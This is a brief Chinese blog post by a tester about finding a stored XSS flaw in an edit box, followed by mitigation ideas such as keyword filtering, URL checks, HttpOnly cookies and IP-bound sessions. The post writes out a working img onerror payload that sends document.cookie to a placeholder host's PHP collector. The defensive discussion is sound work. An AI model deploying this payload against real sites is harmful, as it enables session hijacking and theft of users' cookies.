XSS攻擊測試小計

標籤：

最近在外派到外包公司，有時候需要負責測試系統

剛好本人對那些功能測試感覺比較乏味。對安全性測試比較感興趣。

發現項目中編輯框存在xss漏洞

只要構造

<img src="" onerror="javascript:jQuery.getJSON(‘http://xxx/xss.php?c=‘+document.cookie)" >(剛好該網站本身有引入jquery)

xss.php:把$_GET[‘c‘]儲存到檔案中

這樣就能擷取到使用者cookie了。（在Firefox上就算瀏覽器提示阻止了跨域，但是同樣能夠發起請求，不知道是怎麼回事）

感覺出現這樣的漏洞還是有點不可思議的。問題來了，要如何解決呢？

就是要對編輯框提交過來的內容做檢查。

如何檢查呢？

1、過濾javascript和document.cookie之類的關鍵字。（只過濾javascript和document.cookie之類的關鍵字，是不夠的，還要考慮hacker到時候隨便改個編碼做點手腳會讓你防不勝防。）

2、對src中的url也要進行嚴格檢查（同第一點）。

3、為cookie設定httponly,這樣可以使document.cookie擷取不到想要的cookie

4、從另一個層面，那就是登陸的時候驗證使用者ip,存在session中。該session期間內使用者每次請求都驗證下ip是否一致（這個方法有個隱患就是使用者的ip有沒可能由於某種原因會在短時間內變動，而這種變動是非hack的）

目前想到的只有那麼了。以後有想到再補充，先忙別的了。。。

以前寫的相關博文：http://blog.sina.com.cn/s/blog_4d06da1f0100y9el.html

 

 

 

  

XSS攻擊測試小計